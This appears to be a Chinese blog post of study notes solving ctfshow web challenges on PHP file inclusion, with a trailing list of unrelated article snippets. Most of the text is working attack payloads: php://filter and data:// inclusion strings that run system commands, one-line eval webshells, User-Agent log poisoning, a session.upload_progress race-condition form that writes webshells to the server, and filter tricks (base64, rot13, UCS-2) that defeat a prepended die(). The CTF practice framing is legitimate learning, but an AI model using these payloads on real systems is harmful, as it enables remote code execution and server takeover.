ctfshow_web入门 文件包含 学习
文件包含
额,这是一个做题带学习的一个笔记
算是半做题,半学习的笔记吧,所以能写的方法和注解都会写。难免先得啰嗦
由于截图都是白色背景,所以使用夜间模式(右上角哦~)观看比较易于区分图片与浏览器背景
web 78
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
观察一下,没有过滤,可以直接使用功能php://filter伪协议
?file=php://filter/convert.base64-encode/resource=flag.php
也可以用data伪协议
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs=
?file=data://text/plain,<?php system('tac flag.php');?>
也可以尝试php://input
web 79
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
过滤了php,我们还可以使用data协议:
data://text/plain;base64,[commander]
data://text/plain,<?= system('ls');?>
普通data伪协议
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
?file=data://text/plain,<?php system('tac flag.php');?>
但是有点没懂,我都用了php为什么没被过滤
骚姿势:传入shell(一句话木马)
?file=data://text/plain,<?=eval($_POST[1])?>
post 1=phpinfo();
虽然说,传入一个shell有点小题大做,不过姿势确实有点骚,而且如果遇到一些将flag放在其他位置的题,有个shell找起flag来,也是很舒服的
web 80
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
利用日志文件包含,emmm,
include加载的文件都会当做PHP进行解析。如果文件中有PHP代码,就会执行PHP代码。不是PHP代码的部分就会直接输出。
Nginx的日志文件是/var/log/nginx/access.log,对服务器的请求都会记录到日志文件中去,所以构造一个有马的请求(<?php eval($_POST[1]);?>
),再用file包含日志文件。所以就可以执行拿到shell了。
先添加user-agetn:<?= eval($_GET[5]);?>
执行
url?file=/var/log/nginx/access.log&5=phpinfo();
url?file=/var/log/nginx/access.log&5=system('tac fl0g.php');
问题:url的请求也会被包含进去,为啥在url中的马没法执行
因为:在get请求的数据会被url编码(<?
),在进入PHP之前不解码,所以无法当做PHP代码执行
web 81
可以继续日志包含
嗷,也是刚刚才知道(试了一下),如果要用蚁剑连接的话,一句话木马得用POST传参。刚刚使用GET方式,虽然能够拿到shell,但是无法使用蚁剑连接
web 82
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);}else{
highlight_file(__FILE__);
}
因为过滤了.,所以无法导入日志文件了(/var/log/nginx/access.log)
做一个简单记录
虽然没有开启session,但是如果上传一个带有名字的session的值(SESSID aaa),那么会在生成一个/tem/sess_aaa的文件
PHP_SESSION_UPLOAD_PRGRESS,获取实时文件上传进度,返回一个json
视频中的意思是,上传一个一句话木马,执行另外一个一句话木马。(额,大概就是:传木马A引木马B。有点久了,忘了)
由于是写的脚本,所以也比较方便。而且还能学到一招pyhton文件上传文件(找了很多地方都没找到过用python上传文件的方法),脚本可以导ctfshow的群里找。
提一下,可以在师傅写的py脚本的data中加上proxy={'http':'127.0.0.1:8080'}
设置代理
理解不了也没关系(因为我是废狗,理解不了),可以跟着下面走,下面不用脚本
burp实现条件竞争
首先写一个html脚本用来上传文件
<html>
<body>
<form action="http://d052d9f7-57ce-444e-a56f-bb9f12251393.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php file_put_contents('/var/www/html/test1.php','<?php eval($_POST[test1]);?>');?>" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
备注:将代码写到第一个input的value中
好吧,我这个写的有点问题,不过不影响。上传脚本并且抓包,
将1.php修改为:<?php file_put_contents('/var/www/html/test2.php','<?php eval($_POST[test2]);?>');?>
注意,两边都不需要爆破,一直请求就行,所以在payloads中都做如下设置
然后开始请求,最后访问url/test2.php
接着tac fl0g.php
即可
由于按理来讲不应该知道flag在什么文件中,需要自己发现,所以这里上传木马,应该是一个比较好的选择
利用session.upload_progress进行文件包含和反序列化渗透请看一下这位师傅的文章,理解一下原理。为什么放到后面呢,因为不先体验一下,弟弟我实在看不懂。
web 83
session_unset();session_destroy();if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);}else{
highlight_file(__FILE__);
}
代码中将session销毁了,叭过可以自己创建,换句话说就是可以白嫖上面的方法
可以直接把一句话给写到这里来,抓包的时候,一样的效果
web 84
也可以白嫖web 82的方法
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
system('rm -rf /tem/*');
include($file);
}else{
highlight_file(__FILE__);
}
代码中将session删除了,但是为什么能够执行呢?
嗷~原来是因为误打误撞的将爆破的线程开得比较多,在get的请求线程1刚刚删除/tem/*,在上传的线程1中又写了进去了。简单来说就是,刚刚删除完就写进去了。
web 85
继续白嫖(都还没看代码,就嫖了。。。,用的burp哈)
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
if(file_exists($file)){
$content = file_get_contents($file);
if(strpos($content, "<")>0){
die("error");
}
include($file);
}
}else{
highlight_file(__FILE__);
}
额,file指向文件是否存在,如果存在再判断文件中有没有<,如果有就die卧槽?为什么能够嫖呀?
看了一下,200中长度不一样的结果,成功包含sess_test1的请求,返回是error,error也就是被die了。
有看一下干翻服务器的返回,不过,看不懂。。。。吐了,早知道看看以前的是个啥。
看了一下视频,说的还是是线程问题,线程开大点。利用条件竞争。不过还是没看懂。
补充
因为刚刚提到不知道成功请求到的/tem/test1,是什么样的,所以这里做一个补充。我这里一直使用的burp。
web 84的重开环境,看样子,请求是请求成功了,但是,唯一一个309的状态码是502...
501upload_progress_|a:5:{s:10:"start_time";i:1627393610;s:14:"content_length";i:475;s:15:"bytes_processed";i:475;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:8:"test.txt";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1627393610;s:15:"bytes_processed";i:475;}}}
web 83重开环境 ,也成功了,给人的感觉是,如果include了session文件,那么会有一个upload_progress
web 86
白嫖web82方法
web 87
由于之前有一次做题,不会死亡绕过,恰好这个题很想死亡绕过,所以,必用死亡绕过
先看一下代码
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
看了一下代码,发现,需要对$file进行两次url加密,所以,貌似过滤就全部绕过了
法1:利用 php://filter
所以对$file的构造就是:
$file=php://filter/convert.base64-decode/resource=test2.php进行两次url加密$file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%35%25%33%64%25%37%34%25%36%35%25%37%33%25%37%34%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30
接着说明一下,这里用的是php://filter/convert.base64-decode/resource=test2.php;
php://filter是伪协议的名字;convert.base64-decode是过滤器,对输入的内容就是进行base64解码
base64只对 a-z A-Z +] 进行加密解密,所以,<??>
等是直接就不管的,当做看不见了,于是<?php die('别修了');?>
就成了phpdie
。由于base解码的时候,是4个字符4个字符解码的。在构造好的base64编码的一句话木马前加上两个字符即可(AA)。
看来一句话木马中,不能有?>,去掉?>
$content=AAPD9waHAgc3lzdGVtKCdscycpOw==
成功。当然,这里最好是直接传入一句话木马,免得一直传来传去的。为了方便做笔记,所以就整好看点的。(其实差不多)
看到个一个神奇思路
由于base64将=作为结束的判断,那么在=后的就不会被解码
详细请看一下,里面确实有几个很巧妙的死亡绕过方式,file_put_content和死亡·杂糅代码之缘
法2:利用php://filter/write=string.rot13/resource=test10.php
$file=php://filter/write=string.rot13/resource=test10.php
先对$file进行两次url加密
$file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%34%25%36%35%25%37%33%25%37%34%25%33%31%25%33%30%25%32%65%25%37%30%25%36%38%25%37%30
说明一下:php://filter/write=string.rot13/resource=test10.php
php://filter伪协议名称write=string.rot13过滤器通道 将传入的test10.php的字母进行13位平移(凯撒加密,移动13位)
通过13位平移,原来的<?php die('别秀了');?>
也会移动13位,变成<?cuc qvr('别秀了');?>
,这样就算是绕过die。在线rot转化工具
<?php eval($_GET[test10]);?>$contnt=<?cuc riny($_TRG[grfg10]);?>
看得见之前上传的文件
web 88
利用data伪协议,同时进行base64加密,由于过滤了=,所以可以在构造的 命令中添加上空格
?file=data://text/plain;base64,PD9waHAgICAgIHN5c3RlbSgndGFjIGZsMGcucGhwJyk7
web 116
不会,后来再补
web 117
highlight_file(__FILE__);
error_reporting(0);function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
看样子,应该是一死亡绕过,在web87说了一点死亡绕过的方式和原因,这里就不再说了。多看看其它师傅博客,然后实操一下就明白了。
这里看到了,没有过滤php://filter
所以这里还是打算用这个绕过,emmm但是过滤了base64,多以就没法绕过了。
看了看一个新的死亡绕过方式,利用convert.iconv.UCS-2LE.UCS-2BE
过滤器,这个是将前后两个字符进行交替(abcd==>badc),所以写入文件的<?php die();?>
就会被扰乱,从而绕过。
? file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=test5.phpcontents=?<hp pvela$(P_SO[Tt"se5t]";)>?
访问test5.php
传入的contents需要我们先自己手动替换,这里给一个弟弟写的脚本进行前后替换(只是针对两个字符替换,PHP脚本对;有点)
str1="<?php eval($_POST['test5']);?>";
str2=''
for i in range(0,len(str1)):
if i%2==0:
if i+1<len(str1):
str2=str2+str1[i+1]
if i+1==len(str1):
str2=str2+str1[i]
if i%2==1:
str2=str2+str1[i-1]
#print(i)
print('content='+str2)
print(len(str1))
伪协议使用
file_put_content和死亡·杂糅代码之缘骚姿势也多
php://filter 读出文件
?file=php://filter/convert.base64-encode/resource=flag.php
$file=php://filter/convert.base64-decode/resource=test2.php 用来死亡绕过
输入数据前后交换
? file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=test5.php
contents=?<hp pvela$(P_SO[Tt"se5t]";)>?
php://filter 写入文件
?file=php://filter/write.string-rot13/resource=test1.php
post $content=<?cuc riny($_TRG[grfg10]);?>
php://input 以PHP方式执行传入的DATA
php://input |post DATA
data://text 将传入的数据当做PHP解析执行
使用base64加密的data协议的时候,貌似不能使用?,虽然原理还不知道为什么,不过先记下了,想必是因为语言自身结构的问题,和协议没太大关系
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs=
?file=data://text/plain,<?= system('tac flag.php');?>
日志包含
- 在user-agent中写入马,执行一次;引入日志文件,getshell
session
利用session.upload_progress进行文件包含和反序列化渗透
文章中的链接全是参考,就没有再列出了
因为是学习,难免会留下问题,如果师傅们认为有什么不正确的地方,请斧正斧正,谢谢~
ctfshow_web入门 文件包含 学习的更多相关文章
- PHP文件包含学习笔记
看完下面的几篇文章,然后从第8行开始以后的内容可以忽略!此文是个笔记梳理,是对大佬文章简单的COPY记录,方便以后查看,自己只复现了其中的例子 参考文章: PHP文件包含漏洞利用思路与Bypass总结 ...
- shell脚本学习-文件包含
跟着RUNOOB网站的教程学习的笔记 和其他语言一样,shell也可以包含外部脚本.这样可以很方便的封装一些公用的代码作为一个独立的文件.shell文件包含的语法有两种形式 . filename # ...
- Kali学习笔记31:目录遍历漏洞、文件包含漏洞
文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 目录遍历漏洞: 应用程序如果有操作文件的功能,限制不严 ...
- 风炫安全web安全学习第三十四节课 文件包含漏洞防御
风炫安全web安全学习第三十四节课 文件包含漏洞防御 文件包含防御 在功能设计上不要把文件包含的对应文件放到前台去操作 过滤各种../,https://, http:// 配置php.ini文件 al ...
- 风炫安全web安全学习第三十三节课 文件包含漏洞基础以及利用伪协议进行攻击
风炫安全web安全学习第三十三节课 文件包含漏洞基础以及利用伪协议进行攻击 文件包含漏洞 参考文章:https://chybeta.github.io/2017/10/08/php文件包含漏洞/ 分类 ...
- Linux C编程学习之C语言简介---预处理、宏、文件包含……
C的简介 C语言的结构极其紧凑,C语言是一种模块化的编程语言,整个程序可以分割为几个相对独立的功能模块,模块之间的相互调用和数据传递是非常方便的 C语言的表达能力十分强大.C语言兼顾了高级语言和汇编语 ...
- php学习笔记6--php中的文件包含 include,require,include_once,require_once
php中的文件包含 include,require,include_once,require_once 文件包含:是指将一个文件的内容包含进另外一个文件,有利于代码的复用等.php中文件包含指令有4个 ...
- 【渗透测试学习平台】 web for pentester -7.文件包含
Example 1 输入单引号,报错,得到物理路径 可通过../../../../etc/paaswd 读取敏感信息 可包含本地文件或远程文件 https://assets.pentesterlab. ...
- 前端PHP入门-018-内置函数之文件包含函数
在实际开发中,常常需要把程序中的公用代码放到一个文件中,使用这些代码的文件只需要包含这个文件即可.这种方法有助于提高代码的重用性,给代码的编写与维护带来很大的便利. 在PHP中, 有require.r ...
- Linux学习笔记 -- 文件包含
简述 简单来讲,shell 中的文件包含指的是在一个文件中引用另外一个文件.通过这种方式,我们可以将一些公用的代码封装为一个独立的文件,并在需要的时候引用它即可. 语法 . filename # 注意 ...
随机推荐
- 1 c++编程基础
重新系统学习c++语言,并将学习过程中的知识在这里抄录.总结.沉淀.同时希望对刷到的朋友有所帮助,一起加油哦! 生命就像一朵花,要拼尽全力绽放!死磕自个儿,身心愉悦! 1 c++揭开面纱 1.1 编程 ...
- MySQL数据库:7、SQL常用查询语句
Python基础之MySQL数据库 目录 Python基础之MySQL数据库 一.SQL语句常用查询方法 前期数据准备 1.基本查询 2.编写SQL语句的小技巧 3.查询之where筛选 3.1.功能 ...
- 【每日一题】【第一个出现的值】【二分】2022年1月10日-NC105 二分查找-II
描述请实现有重复数字的升序数组的二分查找给定一个 元素有序的(升序)长度为n的整型数组 nums 和一个目标值 target ,写一个函数搜索 nums 中的第一个出现的target,如果目标值存在返 ...
- 【每日一题】2021年12月14日-82. 删除排序链表中的重复元素 II
存在一个按升序排列的链表,给你这个链表的头节点 head ,请你删除链表中所有存在数字重复情况的节点,只保留原始链表中 没有重复出现 的数字. 返回同样按升序排列的结果链表. 来源:力扣(LeetCo ...
- 使用JavaScript制作一个页面的电子时钟
题目:做一个电子时钟,显示当前的年月日,时分秒,要求自动变化. 案例分析: 1.使用一个div盒子来展示时钟的内容: 2.将盒子在JavaScrip里面获取div盒子: 3.我们需要一个定时器setI ...
- 网络工具netstat与ss
建议使用ss命令,2001年的时候netstat 1.42版本之后就没更新了,之后取代的工具是ss.netstat命令在很多场景下比较慢.ss可以显示跟netstat类似的信息,但是速度却比netst ...
- 二阶段目标检测网络-Cascade RCNN 详解
摘要 1,介绍 1.1,Faster RCNN 回顾 1.2,mismatch 问题 2,实验分析 2.1,改变IoU阈值对Detector性能的影响 2.2,提高IoU阈值的影响 2.3,和Iter ...
- pytest --maxfail=num 运行指令
----maxfail=num 表示用例失败总数等于num 时停止运行 注意点:---maxfail=num中间不要存在空格
- AcWing786.第k个数
题目描述 给定一个长度为 \(n\) 的整数数列,以及一个整数 \(k\),请用快速选择算法求出数列从小到大排序后的第 \(k\) 个数. 输入格式 第一行包含两个整数 \(n\) 和 \(k\). ...
- 02-RTL代码分析思路
RTL代码分析思路(这里不进行具体代码的分析) verilog文件是以.v结尾的 1 RTL代码示例 //Date : 2023-01-09 //E-mail : xxxxxx@163.com //c ...